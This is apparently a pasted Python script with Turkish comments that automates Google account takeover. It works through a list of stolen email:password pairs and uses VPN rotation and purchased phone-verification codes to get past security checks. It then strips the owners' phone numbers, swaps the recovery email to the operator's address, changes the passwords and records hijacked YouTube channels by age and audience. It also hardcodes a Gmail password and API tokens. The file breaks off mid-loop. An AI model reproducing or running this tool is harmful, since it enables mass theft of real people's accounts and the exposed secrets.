· 11 years ago · Jul 26, 2015, 06:23 PM
1
2import pyautogui, pyperclip, names, requests
3import telnetlib
4from selenium import webdriver
5from selenium.webdriver.support.ui import WebDriverWait
6
7from random import randint
8from pushover import init, Client
9
10import time, random, string, os, subprocess
11from bs4 import BeautifulSoup
12
13currentdir = os.path.dirname(os.path.realpath(__file__))
14
15with open(os.path.join(currentdir, "info" , "server.txt")) as f:
16 server = f.readlines()
17
18ip = server[0].rstrip("\n")
19ACCOUNT_SID = server[1].rstrip("\n")
20AUTH_TOKEN = server[2].rstrip("\n")
21defaultEmail = "tqmedia02@gmail.com"
22defaulPassword = "tqmedia01"
23
24#api4 = "http://api4.verificationcode.net/order?token=714f25c39711a5bc3eb769166aedf68bea9434b9285758a58fdc4a10c15ece8f"
25api4 = "http://api4.verificationcode.net/order?token=1c1bab2f7fb4aedf94cdbfb4244e194900dfab291cb5d26503131992d9a1b1e7"
26#api4 = "http://api4.verificationcode.net/order?token=318e991607d0d91bc89d9ee2d772969c91bc5f475f68178af979d032646fe2fd"
27
28cities = ["USA - Austin", "USA - Chicago", "USA - Los Angeles", "USA - Miami", "USA - New York", "USA - San Francisco", "USA - Seattle", "USA - Washington"]
29#cities = ["Ireland", "Portugal", "Belgium", "Netherlands", "Luxembourg", "Denmark", "Sweden", "Iceland", "Russia", "Romania", "Norway", "United Kingdom", "Lithuania", "Italy", "Spain", "Finland", "Czech Republic", "Austria", "Germany", "France", "Switzerland", "Poland"]
30
31init("aYDXEfotLvLtwy6hmf14kTPJWwr3nG")
32
33#########################################################
34################## CLICK FUNCTIONS ######################
35#########################################################
36
37def sc(x, y):
38 try:
39 pyautogui.moveTo(x, y, 0.2)
40 pyautogui.click()
41 except:
42 pass
43
44def dc(x, y):
45 try:
46 pyautogui.moveTo(x, y, 0.2)
47 pyautogui.doubleClick()
48 except:
49 pass
50
51def paste():
52 try:
53 return pyperclip.paste()
54 except:
55 pass
56def push(title, message):
57 Client("uD24S65yVEbMXKPmVx1HX8Pjccm8jy").send_message(message, title=title)
58
59#########################################################
60#################### WEB FUNCTIONS ######################
61#########################################################
62
63def goTo(website):
64 pyautogui.hotkey('alt', 'd')
65 pyautogui.typewrite(website, interval=0.01)
66 pyautogui.press('enter')
67
68def goToGmail():
69 goTo("mail.google.com/mail/u/0/h/")
70 time.sleep(4)
71
72def goToEditSecond():
73 pyautogui.press('enter')
74 time.sleep(3.5)
75 goTo("accounts.google.com/b/0/EditUserInfo?hl=en")
76 time.sleep(5)
77 pyautogui.press('enter')
78
79def deletePhone():
80 time.sleep(3.5)
81 goTo("https://myaccount.google.com/phone?utm_source=OGB&pli=1&hl=en")
82 time.sleep(7)
83 text = getBody()
84 if not 'is used to reach' in text:
85 sc(1265, 388)
86 time.sleep(3)
87 sc(974, 763)
88 time.sleep(3)
89 sc(974, 715)
90 time.sleep(3)
91
92def goToChaneMyPass():
93 goTo("accounts.google.com/b/0/EditPasswd?continue=https://myaccount.google.com/&hl=en")
94 time.sleep(3)
95
96def goToMyAccount():
97 goTo('myaccount.google.com/?hl=en')
98 pyautogui.press('enter')
99 time.sleep(3)
100
101def getUrl():
102 pyautogui.hotkey('ctrl', 'l')
103 pyautogui.hotkey('ctrl', 'c')
104 text = paste()
105 try:
106 text = str(text)
107 except:
108 getUrl()
109 return text
110
111def getBody():
112 sc(69, 801)
113 pyautogui.hotkey('ctrl', 'a')
114 pyautogui.hotkey('ctrl', 'c')
115 text = paste()
116 try:
117 text = str(text)
118 except:
119 getBody()
120 return text
121
122def getBodyYt():
123 sc(113, 957)
124 time.sleep(1)
125 pyautogui.hotkey('ctrl', 'a')
126 pyautogui.hotkey('ctrl', 'c')
127 text = paste()
128 try:
129 text = str(text)
130 except:
131 getBody()
132 return text
133
134
135
136#########################################################
137################### GOOGLE FUNCTIONS ####################
138#########################################################
139
140def goGoogle():
141 pyautogui.hotkey('ctrl', 'l')
142 pyautogui.typewrite('accounts.google.com/ServiceLogin?&hl=en')
143 pyautogui.press('enter')
144 time.sleep(3)
145
146def loginGoogle(email, password):
147 goGoogle()
148 pyautogui.hotkey('ctrl', 'a')
149 pyautogui.press('delete')
150 pyautogui.typewrite(email)
151 pyautogui.press('enter')
152 time.sleep(2.5)
153 pyautogui.typewrite(password)
154 pyautogui.press('enter')
155
156def setNewPass():
157 os.startfile(os.path.join(currentdir, "helpers" , "savenewpass.exe"))
158 time.sleep(7)
159
160
161def manuel(expassword, password):
162 goToEditSecond()
163 time.sleep(2)
164 pyautogui.moveTo(1616, 406, 1)
165
166 button7location = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "redarrow.png"))
167 if(button7location != None):
168 buttonx, buttony = pyautogui.center(button7location)
169 pyautogui.click(buttonx, buttony)
170
171 text = getBody()
172 goToEditSecondEmail(text)
173
174 text = text.replace("\n", " ")
175 texts = text.split(" ")
176
177 gmail = ""
178 for t in texts:
179 if("@gmail" in t):
180 gmail = t.replace("\n", "").replace("\t", "")
181 break
182
183
184 deletePhone()
185 time.sleep(3)
186 goTo("https://security.google.com/settings/security/signinoptions/rescueemail?hl=en")
187 time.sleep(4)
188 link = getUrl()
189
190 if("ServiceLogin" in link):
191 sc(865, 446)
192 pyautogui.typewrite(expassword)
193 time.sleep(2)
194 sc(979,502)
195 time.sleep(4)
196
197 sc(906, 313)
198 pyautogui.hotkey('ctrl', 'a')
199 pyautogui.typewrite(defaultEmail)
200
201 sc(1247, 356)
202 sc(1247, 356)
203
204 time.sleep(2)
205 goToChaneMyPass()
206
207 sc(860, 447)
208 sc(860, 447)
209 pyautogui.typewrite(expassword)
210 pyautogui.press('enter')
211 time.sleep(5)
212 pyautogui.typewrite(password)
213 pyautogui.press('tab')
214 pyautogui.press('tab')
215 pyautogui.press('tab')
216 time.sleep(1)
217 pyautogui.typewrite(password)
218 pyautogui.press('tab')
219 pyautogui.press('tab')
220 time.sleep(1)
221 pyautogui.press('enter')
222
223 return str(gmail) + ":" + password
224
225def goToEditSecondEmail(text):
226 pyautogui.press('enter')
227 if "First name" in text:
228 dc(627, 247)
229 pyautogui.hotkey('ctrl', 'a')
230 pyautogui.typewrite(randName)
231 pyautogui.press('tab')
232 pyautogui.typewrite(randSname)
233 os.startfile(os.path.join(currentdir, "helpers" , "secondname.exe"))
234 time.sleep(10)
235 else:
236 os.startfile(os.path.join(currentdir, "helpers" , "secondnoname.exe"))
237 time.sleep(5)
238
239def whereIsGmail(fakeName):
240
241 pyautogui.moveTo(550,560)
242 button7location = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "redarrow.png"))
243 if(button7location != None):
244 buttonx, buttony = pyautogui.center(button7location)
245 pyautogui.click(buttonx, buttony)
246 else:
247 pyautogui.moveTo(1899,83, 2)
248 sc(1899,83)
249
250 dc(1132, 255)
251 pyautogui.typewrite(fakeName, interval=0.10)
252 time.sleep(1)
253 sc(1112, 326)
254 time.sleep(2)
255 dc(1135, 285)
256 pyautogui.hotkey('ctrl', 'c')
257 text = paste()
258 try:
259 text = str(text)
260 except:
261 text = ""
262
263 if("Someone" in text or "Please" in text):
264 return 2
265 elif ("Your" in text):
266 return 3
267 return 1
268
269
270def registerGmail(fakeName, fakeSurname, flag):
271
272 if(flag == 1):
273 pyautogui.doubleClick(1133, 255)
274 pyautogui.typewrite(fakeName, interval=0.10)
275 time.sleep(0.3)
276 pyautogui.press('tab')
277 pyautogui.typewrite(fakeSurname, interval=0.10)
278 time.sleep(0.3)
279 email = fakeName + fakeSurname + str(randint(3000,9999))
280 email = email.lower()
281 pyautogui.press('tab')
282 pyautogui.typewrite("johnmiller", interval=0.10)
283 time.sleep(0.3)
284 pyautogui.press('tab')
285 pyautogui.press('tab')
286 pyautogui.press('delete')
287 pyautogui.press('tab')
288 time.sleep(0.3)
289 pyautogui.press('delete')
290 pyautogui.typewrite(defaultEmail, interval=0.10)
291 pyautogui.press('enter')
292 time.sleep(2)
293 pyautogui.click(1211,378)
294 time.sleep(1)
295 pyautogui.moveTo(1154,326)
296 pyautogui.doubleClick()
297 time.sleep(2)
298 pyautogui.hotkey('ctrl', 'c')
299 gmail = paste()
300 jc = 0
301
302 while "johnmiller" == gmail and jc < 3:
303 pyautogui.click(1211,380)
304 pyautogui.moveTo(1154,326)
305 pyautogui.doubleClick()
306 pyautogui.hotkey('ctrl', 'c')
307 gmail = paste()
308 jc += 1
309
310 pyautogui.press('enter')
311 return str(gmail) + "@gmail.com"
312
313 elif(flag == 0):
314 dc(1161,255)
315 pyautogui.click()
316 time.sleep(1)
317 pyautogui.typewrite("johnmiller", interval=0.45)
318 time.sleep(2)
319 sc(1231,382)
320 time.sleep(1)
321 sc(1236,308)
322 time.sleep(1)
323 pyautogui.moveTo(1161,251)
324 pyautogui.doubleClick()
325 pyautogui.hotkey('ctrl', 'c')
326 gmail = paste()
327 time.sleep(1)
328 pyautogui.press('tab')
329 time.sleep(1)
330 pyautogui.press('tab')
331 time.sleep(1)
332 pyautogui.press('delete')
333 pyautogui.press('tab')
334 time.sleep(1)
335 pyautogui.press('delete')
336 pyautogui.typewrite(defaultEmail, interval=0.30)
337 time.sleep(1)
338 pyautogui.press('enter')
339 return str(gmail) + "@gmail.com"
340 else:
341 dc(1148, 255)
342 pyautogui.hotkey('ctrl', 'c')
343 gmail = paste()
344 sc(1193, 349)
345 pyautogui.hotkey('ctrl', 'a')
346 pyautogui.press('delete')
347 pyautogui.press('tab')
348 time.sleep(1)
349 pyautogui.press('delete')
350 pyautogui.typewrite(defaultEmail, interval=0.30)
351 time.sleep(1)
352 pyautogui.press('enter')
353 return str(gmail) + "@gmail.com"
354
355def changeAccountInfo(expassword, password, text):
356 goToEditSecondEmail(text)
357
358 t0 = time.clock()
359 url = getUrl()
360
361 while("EditUserInfo" in url):
362 if(time.clock() - t0 > 20):
363 return
364 text = getBody()
365 goToEditSecondEmail(text)
366 url = getUrl()
367
368 time.sleep(3)
369
370 deletePhone()
371 goToChaneMyPass()
372
373 time.sleep(4)
374 pyautogui.typewrite(expassword)
375 pyautogui.press('enter')
376 time.sleep(5)
377 pyautogui.typewrite(password)
378 pyautogui.press('tab')
379 pyautogui.press('tab')
380 pyautogui.press('tab')
381 time.sleep(1)
382 pyautogui.typewrite(password)
383 pyautogui.press('tab')
384 pyautogui.press('tab')
385 time.sleep(1)
386 pyautogui.press('enter')
387 return password
388
389#########################################################
390################### PHONE FUNCTIONS #####################
391#########################################################
392
393def enterPhone(phone):
394 pyautogui.typewrite(phone, interval=0.10)
395 pyautogui.press('enter')
396
397def openPhone(phone):
398 try:
399 # spoof some headers so the request appears to be coming from a browser, not a bot
400 headers = {
401 "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5)",
402 "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
403 "accept-charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.3",
404 "accept-encoding": "gzip,deflate,sdch",
405 "accept-language": "en-US,en;q=0.8",
406 }
407
408 # make the request to the search url, passing in the the spoofed headers.
409 r = requests.get(api4, headers=headers) # assign the response to a variable r
410
411 # check the status code of the response to make sure the request went well
412 if r.status_code != 200:
413 print("request denied")
414 return
415 else:
416 pass
417
418 # convert the plaintext HTML markup into a DOM-like structure that we can search
419 soup = BeautifulSoup(r.text)
420
421 # each result is an <li> element with class="g" this is our wrapper
422 results = soup.findAll("td")
423
424 for i in range(len(results)):
425 if phone in results[i]:
426 c = str(results[i+3]).lstrip("<td>").rstrip("</td>")
427 code = c.split(" ")[5]
428 return code
429 return ""
430 except:
431 return ""
432def enterCode(code):
433 sc(742,382)
434 pyautogui.typewrite(code, interval=0.10)
435 pyautogui.press('enter')
436#########################################################
437################## YOUTUBE FUNCTIONS ####################
438#########################################################
439
440
441def setYoutubeDriver():
442 #changeProxy()
443 global driver
444 driver = webdriver.Firefox()
445 driver.maximize_window()
446 return driver
447
448
449def loginYoutube(email, password):
450 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
451 time.sleep(3)
452 put(".//*[@id='Email']", email)
453 fbxpath(".//*[@id='next']").click()
454 put(".//*[@id='Passwd']", password)
455 fbxpath(".//*[@id='signIn']").click()
456 time.sleep(8)
457
458def isPicassa():
459 cbutton = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "continue.png"))
460 okbutton = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "ok.png"))
461
462 if(cbutton != None and okbutton == None):
463 return 0
464 elif(cbutton == None and okbutton != None):
465 return 1
466 else:
467 return 2
468
469def regYoutube():
470 time.sleep(12)
471
472 sc(1200, 645)
473 text = None
474 while text == None:
475 pyautogui.hotkey('ctrl', 'a')
476 pyautogui.hotkey('ctrl', 'c')
477 text = paste()
478
479 if "Picasa" in text:
480 os.startfile(os.path.join(currentdir, "helpers" , "picasa.exe"))
481 time.sleep(15)
482 return
483
484 flag = isPicassa()
485 if (flag == 1):
486 time.sleep(2)
487 sc(1175, 690)
488 return
489
490 elif(flag == 0):
491 os.startfile(os.path.join(currentdir, "helpers" , "flag0.exe"))
492 time.sleep(15)
493 return
494
495 if(flag == 2):
496 sc(651, 704)
497 sc(666, 556)
498 sc(666, 556)
499 time.sleep(1)
500 pyautogui.moveTo(958, 792, 2)
501 pyautogui.click(958, 792)
502
503
504def addToYoutube(info):
505 try:
506 sorunlu = open(os.path.join(currentdir, "info" , "server.txt"), "a")
507 sorunlu.write(info + "\n")
508 sorunlu.close()
509 except:
510 print("Dosya acilamadi")
511
512def addToTekrar(info):
513 try:
514 sorunlu = open(os.path.join(currentdir, "source" , "tekrar.txt"), "a")
515 sorunlu.write(info + "\n")
516 sorunlu.close()
517 except:
518 print("Dosya acilamadi")
519
520def fbxpath(xpath):
521 try:
522 return WebDriverWait(driver, 10).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
523 except:
524 return False
525
526def put(xpath, toSend):
527 try:
528 to = WebDriverWait(driver, 10).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
529 time.sleep(1)
530 to.send_keys(toSend)
531 except:
532 return False
533
534def isShowed(xpath):
535 try:
536 WebDriverWait(driver, 7).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
537 return True
538 except:
539 return False
540
541def createYoutube(email, password):
542 driver.get("https://www.youtube.com/my_videos?o=U")
543 time.sleep(8)
544 text = getBody()
545
546 if("Help us keep your account secure" in text
547 or "Cookies help" in text):
548 driver.get("https://www.youtube.com/my_videos?o=U")
549 time.sleep(7)
550 text = getBody()
551
552 if "Don't get locked out" in text:
553 sc(980, 713)
554 sc(980, 713)
555 sc(980, 713)
556 time.sleep(7)
557 driver.get("https://www.youtube.com/my_videos?o=U")
558 time.sleep(7)
559
560 if "oops" in driver.current_url:
561 time.sleep(2)
562 driver.get("https://www.youtube.com/my_videos?o=U")
563
564 if "Use YouTube as..." in text:
565 sc(866 ,526)
566 driver.get("https://www.youtube.com/my_videos?o=U")
567 time.sleep(10)
568 text = getBody()
569
570 if "Create a channel" in text:
571 flag = 0
572 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
573 regYoutube()
574
575 elif "YouTube channel has content but has been disabled" in text:
576 fbxpath(".//*[@id='vm-general-notifs']/div/div[2]/div/a[1]")
577 time.sleep(3)
578 regYoutube()
579 else:
580 flag = 1
581
582 driver.get("https://www.youtube.com/analytics?o=U")
583 t0 = time.clock()
584
585 while "my_videos" in driver.current_url:
586 if time.clock() - t0 > 25:
587 addToYoutube(email +":" + password)
588 return False
589 time.sleep(2)
590 sc(1875, 91)
591 time.sleep(1)
592 sc(1853, 280)
593 time.sleep(3)
594 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
595 time.sleep(5)
596 pyautogui.typewrite(password)
597 sc(990, 580)
598 time.sleep(2)
599 url = driver.current_url
600 c = 0
601 if("Help us keep your account secure" in text
602 or "Cookies help" in text):
603 driver.get("https://www.youtube.com/my_videos?o=U")
604 time.sleep(7)
605 text = getBody()
606 while("ServiceLogin" in url and c < 3):
607 pyautogui.typewrite(password)
608 sc(990, 580)
609 time.sleep(2)
610 url = driver.current_url
611 c += 1
612 driver.get("https://www.youtube.com/my_videos?o=U")
613 try:
614 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
615 except:
616 driver.get("https://www.youtube.com/dashboard?o=U")
617 break
618 time.sleep(4)
619 sc(1170, 690)
620 driver.get("https://www.youtube.com/analytics?o=U")
621
622 time.sleep(10)
623 if "analytics" not in driver.current_url:
624 driver.get("https://www.youtube.com/analytics?o=U")
625 time.sleep(10)
626 try:
627 date = fbxpath(".//*[@id='gwt-debug-metadataList']/span[1]").text.lstrip("Created: ").replace(",", "")
628 except:
629 date = "kontroledilecek"
630
631 driver.get("https://www.youtube.com/dashboard?o=U")
632 time.sleep(5)
633 if "dashboard" not in driver.current_url:
634 driver.get("https://www.youtube.com/dashboard?o=U")
635 time.sleep(5)
636 try:
637 subscriber = fbxpath(".//*[@id='dashboard-header-stats']/li[2]/div[1]").text
638 views = fbxpath(".//*[@id='dashboard-header-stats']/li[1]/div[1]").text
639 except:
640 return
641 if len(views) > 7:
642 push("Yuksek izlenme!", "Kontrol etmelisin.. Ip: " + ip)
643 fbxpath(".//*[@id='dashboard-header-user-name-and-label']/h2/a").click()
644 time.sleep(2)
645 channelUrl = driver.current_url
646
647 if("2005" in date):
648 dateFile = 2005
649 elif("2006" in date):
650 dateFile = 2006
651 elif("2007" in date):
652 dateFile = 2007
653 elif("2008" in date):
654 dateFile = 2008
655 elif("2009" in date):
656 dateFile = 2009
657 elif("2010" in date):
658 dateFile = 2010
659 elif("2011" in date):
660 dateFile = 2011
661 elif("2012" in date):
662 dateFile = 2012
663 elif("2013" in date):
664 dateFile = 2013
665 elif("2014" in date):
666 dateFile = 2014
667 elif("2015" in date):
668 dateFile = 2015
669 else:
670 dateFile = "kontroledilecek"
671 print(str(date))
672 saveYoutube(email, password, channelUrl, dateFile, date, subscriber, views)
673
674
675def saveYoutube(email, password, url, dateFile, date, subscriber, views):
676 try:
677 info = str(email) + "::" + str(password).rstrip("\n") + "::" + str(url) + "::" + str(date) + "::" + str(subscriber) + "::" + str(views) + "::" + defaultEmail
678 hesaplar = open(os.path.join(currentdir, "save" , str(dateFile) + ".txt"), "a")
679 hesaplar.write(info + "\n")
680 hesaplar.close()
681 except:
682 print("Dosya acilamadi.")
683
684#########################################################
685#################### SAVE FUNCTIONS #####################
686#########################################################
687
688def addToGmail(info):
689 try:
690 hesaplar = open(os.path.join(currentdir, "save" , "gmail.txt"), "a")
691 hesaplar.write(info + "\n")
692 hesaplar.close()
693 except:
694 print("Dosya acilamadi.")
695
696def addToCop(info):
697 try:
698 cop = open(os.path.join(currentdir, "source" , "cop.txt"), "a")
699 cop.write(info[0] + ":" + info[1])
700 cop.close()
701 except:
702 print("Dosya acilamadi.")
703
704def addToOzel(info):
705 try:
706 ozel = open(os.path.join(currentdir, "source" , "ozel.txt"), "a")
707 ozel.write(info[0] + ":" + info[1])
708 ozel.close()
709 except:
710 print("Dosya acilamadi.")
711
712def addToTekrar(info):
713 try:
714 ozel = open(os.path.join(currentdir, "source" , "tekrar.txt"), "a")
715 ozel.write(info[0] + ":" + info[1])
716 ozel.close()
717 except:
718 print("Dosya acilamadi.")
719def addToTekrarYT(info):
720 try:
721 ozel = open(os.path.join(currentdir, "save" , "tekraryt.txt"), "a")
722 ozel.write(info)
723 ozel.close()
724 except:
725 print("Dosya acilamadi.")
726
727def addToCaptcha(info):
728 try:
729 ozel = open(os.path.join(currentdir, "source" , "captcha.txt"), "a")
730 ozel.write(info[0] + ":" + info[1])
731 ozel.close()
732 except:
733 print("Dosya acilamadi.")
734
735def addToYoutube(info):
736 try:
737 sorunlu = open(os.path.join(currentdir, "save" , "tekrardenenecekyoutube.txt"), "a")
738 sorunlu.write(info + "\n")
739 sorunlu.close()
740 except:
741 print( "Dosya acilamadi")
742
743def updateList(i):
744 try:
745
746 with open(os.path.join(currentdir, "source" , "ayiklanacak.txt"), 'w') as fout:
747 fout.writelines(content[i+1:])
748 except:
749 print("Dosya acilamadi.")
750
751
752#########################################################
753################## DRIVER FUNCTIONS #####################
754#########################################################
755
756def createDriver():
757 pyperclip.copy('')
758 global loginC
759 loginC = 0
760 os.system("taskkill /f /t /im firefox.exe")
761 changeProxy()
762 os.startfile("C:\\\Program Files (x86)\\\Mozilla Firefox\\firefox.exe")
763 time.sleep(7)
764
765def changeProxy():
766
767 os.startfile(os.path.join(currentdir, "helpers" , "processkill.exe"))
768 # Path to OpenVPN program
769 vypr_bin = "C:\\Program Files\\OpenVPN\\bin\\openvpn.exe"
770 # Path to username/password
771 vypr_auth = "C:\\Users\\Administrator\\Desktop\\youtube\\vypr_auth.txt"
772 # Path to config file. What's server do you want connect to?
773
774 vpn_mgt_host = "127.0.0.1"
775 vpn_mgt_port = "7777"
776 c = random.randint(0, 7)
777 vypr_conf = "C:\\Users\\Administrator\\Desktop\\youtube\\config\\" + cities[c] + ".ovpn"
778 vpn_params = [vypr_bin, "--management", vpn_mgt_host, vpn_mgt_port,
779 "--management-hold", "--config", vypr_conf,
780 "--auth-user-pass", vypr_auth, "--log", "C:\\Users\\Administrator\\Desktop\\youtube\\info\\openvpn.log"]
781
782 # Delete all tap devices
783 subprocess.call("deltapall.bat", shell=True)
784
785 # Add tap devices
786 subprocess.call("addtap.bat", shell=True)
787
788 # Run OpenVPN daemon but management hold
789 prog = subprocess.Popen(vpn_params, shell=True,
790 stdin=None, stdout=None, stderr=None, close_fds=True)
791
792 # vpn_pid = prog.pid
793
794 # Connect to OpenVPN management daemon
795 tn = telnetlib.Telnet(vpn_mgt_host, vpn_mgt_port)
796 # Turn on log
797 tn.write(("log on\r\n").encode('ascii'))
798 time.sleep(1)
799 # Hold release
800 tn.write(("hold release\r\n").encode('ascii'))
801 time.sleep(2)
802 # Waiting to OpenVPN connected
803 time.sleep(15)
804 print ("Connected to " + cities[c])
805
806def endSession():
807 pyautogui.hotkey('alt', 'f4')
808 os.startfile(os.path.join(currentdir, "helpers" , "processkill.exe"))
809 time.sleep(5)
810 updateList(i)
811 createDriver()
812
813def checkSuccess(failC, sucC, loginC):
814 if loginC > 30:
815 endSession()
816 if i % 50 != 0:
817 return
818 try:
819 failRate = failC / sucC
820 except:
821 failRate = failC
822
823 if failRate > 49:
824 updateList(i)
825
826 if failRate > 500:
827 push("Hata Cogaldi!", "Hata orani 500u gecti! " + ip)
828 sys.exit(1)
829
830with open(os.path.join(currentdir, "source" , "ayiklanacak.txt"), 'r') as f:
831 content = f.read().splitlines(True)
832with open(os.path.join(currentdir, "info" , "telefonlar.txt"), 'r') as f:
833 phones = f.read().splitlines(True)
834######################################################
835
836failC = 0
837sucC = 0
838
839k = 0
840p = 0
841print(str(len(content)) + " adet hesap var.")
842createDriver()
843try:
844 for i in range(len(content)):
845 checkSuccess(failC, sucC, loginC)
846 try:
847 info = content[i].split(":")
848 email = info[0]
849 password = info[1].rstrip("\n")
850 if(len(password) < 6 or "@" not in email):
851 continue
852 print("Kullanci Adi: " + email + "\n" + "Sifre: " + password)
853 print("Succes: " + str(sucC) + " Fail: " + str(failC))
854 chars = string.ascii_letters + string.digits
855 newPass = ''.join(random.SystemRandom().choice(chars) for i in range(10))
856 randName = names.get_first_name(gender='male')
857 randSname = names.get_last_name()
858 except:
859 addToOzel(content[i].split(":"))
860 time.sleep(2)
861 continue
862 try:
863 phone = phones[p].rstrip("\n")
864 except:
865 p = 0
866 phone = phones[p].rstrip("\n")
867
868 try:
869 loginGoogle(email, password)
870 loginC += 1
871 except:
872 addToCop(info)
873 continue
874
875 if "gmail" in email:
876 time.sleep(6)
877 else:
878 time.sleep(3)
879 text = getBody()
880
881 if("One account. All of Google." in text
882 or "Sorry, Google doesn't recognize" in text
883 or "Your Google Account is managed by" in text
884 or "Sorry, we can't process" in text
885 or "Google" not in text
886 or "We've detected unusual activity" in text
887 or "2-Step verification" in text
888 ):
889
890 if("Letters are" in text or "Firefox" in text):
891 addToCaptcha(info)
892 endSession()
893 k = 0
894 continue
895 elif "privacy reminder" in text:
896 os.startfile(os.path.join(currentdir, "helpers" , "privacy.exe"))
897 time.sleep(5)
898 else:
899 addToCop(info)
900 failC += 1
901 k = 0
902 continue
903 elif ("Letters are" in text):
904 addToCaptcha(info)
905 k = 0
906 endSession()
907 continue
908 elif "Please re-enter" in text:
909 addToOzel(content[i-1].split(":"))
910 endSession()
911 elif "Firefox" in text:
912 addToCaptcha(info)
913 k = 0
914 endSession()
915 elif "Google" not in text:
916 addToCop(info)
917 failC += 1
918 k = 0
919 continue
920 else:
921 time.sleep(3)
922 url = getUrl()
923
924 url = getUrl()
925 if "privacyreminder" in url:
926 os.startfile(os.path.join(currentdir, "helpers" , "privacy.exe"))
927 time.sleep(7)
928 url = getUrl()
929
930 if "VerifiedPhoneInterstitial" in url:
931 time.sleep(2)
932 sc(1113,800)
933 time.sleep(5)
934 url = getUrl()
935
936 elif not "google" in url:
937 addToCop(info)
938 failC += 1
939 continue
940
941 elif "LoginVerification" in url:
942 text = getBody()
943 if("Tell us the city" in text
944 or "Answer your secret question" in text
945 or "Enter your recovery" in text
946 or "Android" in text
947 or "Receive a verification" in text
948 or "Tell us your phone number" in text):
949 if("Enter a phone" not in text
950 or "Sorry, we can't process" in text):
951 addToCop(info)
952 failC += 1
953 continue
954 if "Tell us the city" in text:
955 sc(747, 452)
956 else:
957 sc(745,427)
958 enterPhone(phone)
959 time.sleep(4)
960 text = getBody()
961 sc(758, 618)
962
963 while "already" in text :
964 p += 1
965 if(p == len(phones)):
966 p = 0
967 phone = phones[p].rstrip("\n")
968 sc(742,382)
969 pyautogui.hotkey('ctrl', 'a')
970 pyautogui.press('delete')
971 code = openPhone(phone)
972 enterCode(code)
973 time.sleep(5)
974 text = getBody()
975 sc(758, 618)
976 if "until in text":
977 continue
978
979 cC = 0
980 while cC < 3:
981 sc(742,382)
982 pyautogui.hotkey('ctrl', 'a')
983 pyautogui.press('delete')
984 code = openPhone(phone)
985 enterCode(code)
986 time.sleep(5)
987 url = getUrl()
988 if not "LoginVerification" in url:
989 break
990 else:
991 time.sleep(6)
992 cC += 1
993
994
995 elif("ChangePassword" in url):
996 setNewPass()
997 newPass = defaulPassword + "\n"
998 password = defaulPassword + "\n"
999 goToGmail()
1000
1001 elif("google" not in url or "ServiceLoginAuth" in url):
1002 addToCop(info)
1003 failC += 1
1004 continue
1005
1006 elif("RecycledEmailInterstitial" in url
1007 or "AccountRecoveryOptionsPrompt" in url
1008 or "myaccount" in url):
1009 time.sleep(3)
1010 goToGmail()
1011
1012 elif("EmailNotVerified" in url):
1013 time.sleep(3)
1014 goToGmail()
1015 time.sleep(4)
1016 url = getUrl()
1017 if("ServiceLogin" in url):
1018 sc(882,448)
1019 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1020 pyautogui.press('enter')
1021 time.sleep(4)
1022 url = getUrl()
1023 time.sleep(3)
1024
1025 else:
1026 print("-----RAPOR EDILMELI!!!!")
1027 addToOzel(info)
1028 endSession()
1029 continue
1030
1031 time.sleep(9)
1032 url = getUrl()
1033 time.sleep(1)
1034 try:
1035 sc(1899,83)
1036 except:
1037 pass
1038 if "privacyreminder" in url:
1039 sc(1231, 984)
1040 time.sleep(2)
1041 sc(1231, 984)
1042 time.sleep(5)
1043 goToGmail()
1044 time.sleep(5)
1045 url = getUrl()
1046 if("EmailNotVerified" in url):
1047 time.sleep(3)
1048 goToGmail()
1049 time.sleep(5)
1050 url = getUrl()
1051 if("ServiceLogin" in url):
1052 sc(882,448)
1053 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1054 pyautogui.press('enter')
1055 time.sleep(3)
1056 url = getUrl()
1057 time.sleep(6)
1058
1059 if("myaccount" in url):
1060 goToGmail()
1061 time.sleep(5)
1062 url = getUrl()
1063
1064 if("ServiceLogin" in url):
1065 sc(882,448)
1066 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1067 pyautogui.press('enter')
1068 time.sleep(3)
1069 url = getUrl()
1070
1071 if("AccountRecoveryOptionsPrompt" in url):
1072 addToTekrar(info)
1073 continue
1074
1075 if("mail/" in url):
1076 gmail = manuel(password, newPass)
1077 g = gmail.split(":")
1078 gmail = g[0]
1079 newPass = g[1]
1080
1081 elif("ChangePassword" in url):
1082
1083 setNewPass()
1084 newPass = defaulPassword + "\n"
1085 password = defaulPassword + "\n"
1086 time.sleep(8)
1087 goToGmail()
1088 time.sleep(5)
1089 url = getUrl()
1090 if("mail/" not in url):
1091 flag = whereIsGmail(randName)
1092 if(flag==1):
1093 gmail = registerGmail(randName, randSname, 1)
1094 goToEditSecond()
1095 text = getBody()
1096
1097 try:
1098 if(not "@gmail.com" in text):
1099 addToOzel(info)
1100 failC += 1
1101 endSession()
1102 continue
1103 except:
1104 pass
1105
1106 newPass = changeAccountInfo(password, newPass, text)
1107
1108 elif(flag==2):
1109 gmail = registerGmail(randName, randSname, 0)
1110 goToEditSecond()
1111 text = getBody()
1112
1113 try:
1114 if(not "@gmail.com" in text):
1115 addToOzel(info)
1116 failC += 1
1117 endSession()
1118 continue
1119 except:
1120 pass
1121
1122 newPass = changeAccountInfo(password, newPass, text)
1123
1124 elif(flag == 3):
1125 addToCop(info)
1126 failC += 1
1127 endSession()
1128 continue
1129 else:
1130 gmail = manuel(newPass, newPass)
1131 g = gmail.split(":")
1132 gmail = g[0]
1133 newPass = g[1]
1134
1135 elif("inbox" in url):
1136 gmail = manuel(password, newPass)
1137 g = gmail.split(":")
1138 gmail = g[0]
1139 newPass = g[1]
1140
1141 elif("AddMailService" in url):
1142 pyautogui.moveTo(1899,83)
1143 time.sleep(1)
